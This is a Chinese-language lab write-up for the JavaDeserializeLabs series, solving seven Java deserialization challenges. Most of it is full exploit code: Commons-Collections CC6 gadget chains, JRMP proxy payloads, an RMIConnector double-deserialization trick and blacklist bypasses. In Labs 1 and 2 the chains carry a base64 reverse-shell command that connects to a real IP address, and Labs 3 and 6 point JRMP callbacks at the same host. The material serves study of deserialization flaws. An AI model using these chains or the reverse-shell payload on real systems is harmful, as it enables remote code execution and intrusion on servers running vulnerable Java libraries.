JavaDeserializeLabs

https://github.com/waderwu/javaDeserializeLabs.git

Lab1-Basic

docker-compose up -d

Untitled

知道触发点为basic目录下直接传一个data

直接用jd-gui看jar包,发现没有CC依赖,但是给了几个类。而Calc类刚好是我们可以利用的,并且可以执行任意命令,没有任何过滤

1
2
3
4
5
6
7
8
9
10
11
publicclass Calcimplements Serializable {
privateboolean canPopCalc =false;

private String cmd = "ls -al";

privatevoid readObject(ObjectInputStream objectInputStream)throws Exception {
objectInputStream.defaultReadObject();
if (this.canPopCalc)
Runtime.getRuntime().exec(this.cmd);
}
}

那么直接来构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package lab1;

import com.yxxx.javasec.deserialize.Calc;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;

public class SeriaCalc {
public static void setFiled(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
Calc calc = new Calc();
setFiled(calc, "cmd","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMi4xNjYvNTYxNCAwPiYx}|{base64,-d}|{bash,-i}");
setFiled(calc, "canPopCalc", true);

// serialize
System.out.println(Utils.objectToHexString(calc));
// ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// ObjectOutputStream out = null;
// out = new ObjectOutputStream(byteArrayOutputStream);
// out.writeObject(calc);
// out.flush();
// byte[] bytes = byteArrayOutputStream.toByteArray();
// byteArrayOutputStream.close();
// System.out.println(Utils.bytesTohexString(bytes));

// deserialize
// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
// Calc c = (Calc) objectInputStream.readObject();
String data = "aced0005737200096c6162312e43616c63aebcd66698cce75a0200025a000a63616e506f7043616c634c0003636d647400124c6a6176612f6c616e672f537472696e673b78700174000b636d64202f632063616c63";
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
}
}

注意:

虽然可能只有我自己会犯这种错,这里有一个小tip,Calc的路径也就是package必须和题目给的是一样的,因为在反序列化的时候是根据包去找相应的类的,所有该软件包不存在就会导致找不到相应的类

Untitled

结果:

Untitled

Lab2-Ysoserial

Untitled

存在Commons-Collections-3.2.1依赖

反序列化里存在一定条件name.equals("SJTU") && year == 1896 ,所以导致不能直接利用工具生成payload,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Controller
publicclass IndexController {
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data", required =true) String data, Model model)throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream =new ByteArrayInputStream(b);
ObjectInputStream objectInputStream =new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("SJTU") && year == 1896)
objectInputStream.readObject();
return "index";
}
}

这里用通用的CC6,还没试过其他的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package lab2;

import lab1.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(1)
};

Transformer[] transformers1 = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMi4xNjYvNTYxNCAwPiYx}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "aa");

Map exp = new HashMap();
exp.put(tiedMapEntry, "bb");

outMap.remove("aa");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers1);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);

objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);

objectOutputStream.writeObject(exp);
objectOutputStream.close();

byte[] bytes = byteArrayOutputStream.toByteArray();
byteArrayOutputStream.close();

System.out.println(Utils.bytesTohexString(bytes));
}
}

结果:

Untitled

Lab3-shiro-jrmp

知识点 - JRMP

JRMP协议(Java Remote Message Protocol):RMI专用的Java远程消息交换协议。

Java JRMP - zpchcbd - 博客园 (cnblogs.com)

Untitled

光看着,有点不能全部理解。直接看yso里面的payload吧

Payload/JRMPListener

JRMPListener 端口为我们自定义,因为UnicastRemoteObject 的构造方法都是protected修饰的,所以要利用反射进行实例化并将属性port的值设为我们写入的端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});

Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}

public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}

直接执行PayloadRunner.run(JRMPListener.class, args); 之后发现在反序列化之后会一直处于运行状态,可以调试跟一下

因为是对UnicastRemoteObject类进行序列化,所以在反序列化的时候就会调用到UnicastRemoteObject#readObject

1
2
3
4
5
6
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException
{
in.defaultReadObject();
reexport();
}

继续跟进到reexport >> exportObject(Remote obj, int port) >> *exportObject*(obj, new UnicastServerRef(port)) ,其中port为我们设置的端口

而在实例化UnicastServerRef 类的时候会将开服务的host和port传给LiveRef并生成对象的唯一标识符

在之后设置obj的ref为sref,其中包括了LiveRef这个类的信息

Untitled

1
2
3
4
5
6
7
8
9
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}

之后再跟到了UnicastServerRef#exportObject ,之后其实就是走了一遍通过反射去实例化UnicastRemoteObject 并设置Skeletonstub ,在后续跟进到LiveRef的listen创建ServerSocket,从而开启rmi服务

Untitled

Untitled

Exp/JRMPClient

  • targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
  • not deserializing anything (so you don’t get yourself exploited ;))

这个攻击方式的目标是远程的DGC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class JRMPClient {

public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}

Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
}
}

主要的利用方法是:

传入的参数为开启RMI服务的host和port以及我们用于攻击的Gadget,会先对该服务进行连接,然后将Gadget序列化传到远程的RMI服务,因为在前面Java学习笔记Ⅲ中有讲到过,RMI服务之间传输数据的时候都是以序列化数据流传输的,所以我们序列化之后的Gadget被传进去的时候,会被远程服务反序列化从而产生RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);

OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);

dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);

dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);

objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);

objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);

objOut.writeObject(payloadObject);

os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}

Exp/JRMPListener

Payload/JRMPClient

ObjID 用于生成类的唯一标识,TCPEndpoint 则用来记录远程服务以便连接,有些不能理解的就是为什么要用动态代理来实现Registry 然后再进行反序列化,因为反序列化的时候好像耶并没有用到Regstry (感觉可能这是RMI的知识?

额……,把payload直接换成序列化RemoteObjectInvocationHandler 也执行成功了

Gadget:

1
2
3
4
5
6
7
8
9
10
RemoteObjectInvocationHandler#readObject
UnicastRef#readExternal
LiveRef#read
DGCClient#registerRefs
DGCClient#registerRefs(List<LiveRef> var1)
DGCClient#makeDirtyCall
DGCImpl_Stub#dirty
UnicastRef#newCall
UnicastRef#invoke
StreamRemoteCall#executeCall#this.in.readObject()

主要代码块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}

在vps利用yso开启JRMP监听,利用CC6的链子,命令为calc

ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)

开始调试

因为动态代理中用到的是RemoteObjectInvocationHandler ,因此在反序列化的时候就会调用到RemoteObjectInvocationHandler#readObject 但是这个类没有,就会调用到其父类的readObject ,而用到的UnicastRef 在这里就直接调用到了

Untitled

跟进UnicastRef#readExternal >> LiveRef#read

Untitled

LiveRef中必须有的值都已经传进去了

Untitled

最终是来到了DGCClient 这个类,并且将远程开启服务的host以及port传给了DGC,而通过lookup来找到特定的对象

Untitled

之后继续跟进,顺序如之前的gadget,在最后调用到了StreamRemoteCall#executeCall,将远程发送过来的序列化之后的字节码进行反序列化从而实现RCE

Untitled

Lab3

Untitled

这次依赖没有变,但是反序列化用的类是题目给出的。

而这里要点就是resolveClass进行了修改,利用了loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.net.URL;
import java.net.URLClassLoader;
import org.apache.commons.collections.Transformer;

public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;

public MyObjectInputStream(InputStream inputStream)throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader =new URLClassLoader(urls);
}

protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException {
Class<?> clazz =this.classLoader.loadClass(desc.getName());
return clazz;
}
}

可以去原ObjectInputStream 类中可以看到原来的resolveClass 中是利用了forName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false,latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl =primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

而在前面学shiro的时候可以发现如果是加载器的loadClass的时候如果反序列化流中包含非java自身的数组就会出现无法加载类的错误,而原类的forName就不会这样

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{};

System.out.println(Class.forName(transformers.getClass().getName()));

URL[] urls = ((URLClassLoader) Transformer.class.getClassLoader()).getURLs();
Index index = new Index();
index.classLoader =new URLClassLoader(urls);

System.out.println(index.classLoader.loadClass(transformers.getClass().getName()));
}

// class [Lorg.apache.commons.collections.Transformer;
// Exception in thread "main" java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;
// at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
// at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
// at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
// at lab3.Index.main(Index.java:30)

可以利用JRMP打,这里利用第二种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package lab3;

import lab1.Utils;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JrmpListener {
public static void main(String[] args) throws Exception{
ObjID objID = new ObjID(new Random().nextInt()); // 对象标识符
TCPEndpoint tcpEndpoint = new TCPEndpoint("82.156.2.166",2444); // 与远程的RMI服务连接
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); // \
RemoteObjectInvocationHandler rih = new RemoteObjectInvocationHandler(unicastRef);
Registry registry = (Registry) Proxy.newProxyInstance(JrmpListener.class.getClassLoader(), new Class[]{Registry.class}, rih); // 通过动态代理实例化Registry接口

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(bos);
os.writeUTF("SJTU");
os.writeInt(1896);
os.writeObject(registry);
os.close();

System.out.println(Utils.bytesTohexString(bos.toByteArray()));
}

}

vps上利用yso开JRMP服务,并用CC6生成命令

Untitled

Untitled

结果:

Untitled

问题:

  1. 每打一次payload都要重启环境,不然没有用
  2. 不知道为什么不能反弹shell

Lab4-shiro-blind

在docker-compose.yml中被设置了不可出网,导致上面的JRMP不可利用,但是这里反序列化还是进行了重写,说明还是不可以利用非java原生类也就是不能使用存在Transforme数组的链子。不可出网+不能使用数组说明最好还是需要利用二次反序列化绕过

RMIConnector

findRMIServerJRMP 方法中会对传进去的base64字符串进行解码并进行二次反序列化,实现我们的二次反序列化进行RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
throws IOException {
// could forbid "iiop:" URL here -- but do we need to?
final byte[] serialized;
try {
serialized =base64ToByteArray(base64);
} catch (IllegalArgumentException e) {
throw new MalformedURLException("Bad BASE64 encoding: " +
e.getMessage());
}
final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
final ObjectInputStream oin =
(loader == null) ?
new ObjectInputStream(bin) :
new ObjectInputStreamWithLoader(bin, loader);
final Object stub;
try {
stub = oin.readObject();
} catch (ClassNotFoundException e) {
throw new MalformedURLException("Class not found: " + e);
}
return (RMIServer)stub;
}

而在构造函数的注释上可以知道我需要构造的payload为,其中encoded-stub 就是base64编码之后的CC6payload

1
service:jmx:rmi://[host[:port]]/stub/encoded-stub

Demo

gadget:

1
2
3
4
connect()
connect(Map<String,?> environment)
findRMIServer(JMXServiceURL directoryURL,Map<String, Object> environment)
findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)

exp:(以cc6为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package lab4;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
public static void main(String[] args) throws Exception{
Transformer[] fakeTrans = new Transformer[]{
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1)
};

Transformer transformer = new ChainedTransformer(fakeTrans );
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "a");

Map exp = new HashMap();
exp.put(tiedMapEntry, "b");
outMap.remove("a");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformers);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(exp);
oos.close();
byte[] bytes = bos.toByteArray();

System.out.println(Base64.getEncoder().encodeToString(bytes));

RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://127.0.0.1:12345/stub/"+Base64.getEncoder().encodeToString(bytes)), null);
rmiConnector.connect();

}
}

Lab4

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package lab4;

import lab1.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
public static void main(String[] args) throws Exception{
Transformer[] fakeTrans = new Transformer[]{
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/ameuu"}),
new ConstantTransformer(1)
};

Transformer transformer = new ChainedTransformer(fakeTrans);
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "aa");

Map exp = new HashMap();
exp.put(tiedMapEntry, "bb");

outMap.remove("aa");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformers);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(exp);
oos.close();
byte[] bytes = bos.toByteArray();

RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://127.0.0.1:12345/stub/"+Base64.getEncoder().encodeToString(bytes)), null);

Map map = new HashMap();
Transformer invoke = new InvokerTransformer("toString", null, null);
Map map1 = LazyMap.decorate(map, invoke);
TiedMapEntry tiedMapEntry1 = new TiedMapEntry(map1, rmiConnector);
Map exp1 = new HashMap();
exp1.put(tiedMapEntry1, "aa");
map1.remove(rmiConnector);

Field field1 = InvokerTransformer.class.getDeclaredField("iMethodName");
field1.setAccessible(true);
field1.set(invoke, "connect");

ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream o = new ObjectOutputStream(b);
o.writeUTF("SJTU");
o.writeInt(1896);
o.writeObject(exp1);
System.out.println(Utils.bytesTohexString(b.toByteArray()));

}
}

结果:

Untitled

反弹shell:

Untitled

Lab5-weblogic-readResolve

比lab4多了两个黑名单,这使得初次反序列化的时候不能用到相应的方法,而我们可以发现InvokerTransformerConstantTransformer 等类都不可以使用,所以lab4利用的exp是不能利用了,但是还是需要二次反序列化

1
2
blackList.add("org.apache.commons.collections.functors");
blackList.add("java.rmi.server");

可以发现存在类MarshalledObject ,其方法readResolve 实现了没有任何限制的反序列化,所以只要我们对这个类进行反序列化并且能够调用到该方法就可以实现二次反序列化RCE

1
2
3
4
5
6
7
8
9
10
11
public class MarshalledObject implements Serializable {
private byte[] bytes = null;

public Object readResolve() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
objectInputStream.close();
return obj;
}
}

简析readResolve的调用过程

Test

1
2
3
4
5
6
7
8
9
10
import java.io.Serializable;

public class Test implements Serializable {
private String test;

public Object readResolve() throws Exception{
Runtime.getRuntime().exec("calc");
return null;
}
}

Main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {
public static void main(String[] args) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(new Test());
byte[] bytes = bos.toByteArray();

ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}

直接反序列化之后可以发现Test#readResolve 自动被调用了,简单跟进一下就会发现在反序列化的时候如果类中存在readResolve 就会直接调用

Untitled

因为readResolve 不需要再利用InvokerTransformer 等类去实现调用,所以可以直接构造exp

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package lab5;

import com.yxxx.javasec.deserialize.MarshalledObject;
import lab1.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Exp {
public static void setField(Object o,String name, Object value) throws Exception{
Field field = o.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(o, value);
}

public static void main(String[] args) throws Exception{
Transformer[] fake = new Transformer[]{
new ConstantTransformer(1)
};

Transformer[] trueTrans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"bash -c {echo,}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};

Transformer transformer = new ChainedTransformer(fake);

Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "aa");

Map exp = new HashMap();
exp.put(tiedMapEntry, "bb");
outMap.remove("aa");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, trueTrans);

// serialize
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(exp);
byte[] bytes = bos.toByteArray();

MarshalledObject marshalledObject = new MarshalledObject();
setField(marshalledObject, "bytes", bytes);

ByteArrayOutputStream bos1 = new ByteArrayOutputStream();
ObjectOutputStream oos1 = new ObjectOutputStream(bos1);
oos1.writeUTF("SJTU");
oos1.writeInt(1896);
oos1.writeObject(marshalledObject);
System.out.println(Utils.bytesTohexString(bos1.toByteArray()));

// deserialize for test
// ByteArrayInputStream bis = new ByteArrayInputStream(bos1.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bis);
// ois.readObject();
}
}

Untitled

Lab6-weblogic-resolveProxyClass

有黑名单过滤,但是没有像lab4一样直接不能出网,但是也不能用lab5的exp,因为过滤了org.apache.commons.collections.functors 导致不能用CC链子,但是回到lab3,发现还是可能可以利用的,只不过不能用java.rmi.registry.Registry

1
2
classBlackList.add("org.apache.commons.collections.functors");
proxyBlackList.add("java.rmi.registry");

而我们利用到的RemoteObjectInvocationHandler实现了Remote接口,而Registry也实现了Remote接口,那么找一下还有什么接口可以利用,发现如下:

Untitled

那么直接修改一下lab3的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import lab1.Utils;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.ActivationInstantiator;
import java.rmi.activation.ActivationMonitor;
import java.rmi.activation.ActivationSystem;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JrmpListener {
public static void main(String[] args) throws Exception{
ObjID objID = new ObjID(new Random().nextInt()); // 对象标识符
TCPEndpoint tcpEndpoint = new TCPEndpoint("82.156.2.166",2444); // 与远程的RMI服务连接
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); // \\
RemoteObjectInvocationHandler rih = new RemoteObjectInvocationHandler(unicastRef);
ActivationInstantiator registry = (ActivationInstantiator) Proxy.newProxyInstance(JrmpListener.class.getClassLoader(), new Class[]{ActivationInstantiator.class}, rih); // 通过反射

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(bos);
os.writeUTF("SJTU");
os.writeInt(1896);
os.writeObject(registry);
os.close();

System.out.println(Utils.bytesTohexString(bos.toByteArray()));

// for test
// ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bis);
// ois.readObject();
}
}

vps进行JRMP监听

Untitled

结果:

Untitled

Untitled

*Lab7-weblogic-UnicastRef

黑名单,又把UnicastRefRemoteObjectInvocationHandler过滤了,根据前面的payload我们可以知道重要的是我们需要调用到RemoteObjectreadObject从而调用到LiveRef实现TCP连接远程的JRMP

1
2
3
4
classBlackList.add("org.apache.commons.collections.functors");
classBlackList.add("sun.rmi.server.UnicastRef");
classBlackList.add("java.rmi.server.RemoteObjectInvocationHandler");
proxyBlackList.add("java.rmi.registry");

找继承RemoteObject 的类,并且大概率是不能使用动态代理了,在测试之后好像并不会影响UnicastRef 的使用。

1
2
3
4
5
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

那重点应该就是找到可利用的类了,但是要注意Dockerfile 中有,对javax.management.BadAttributeValueExpException 进行了序列化过滤

1
CMD ["java", "-Djdk.serialFilter=!javax.management.BadAttributeValueExpException", "-jar", "/opt/app/lab7-weblogic-UnicastRef.jar"]

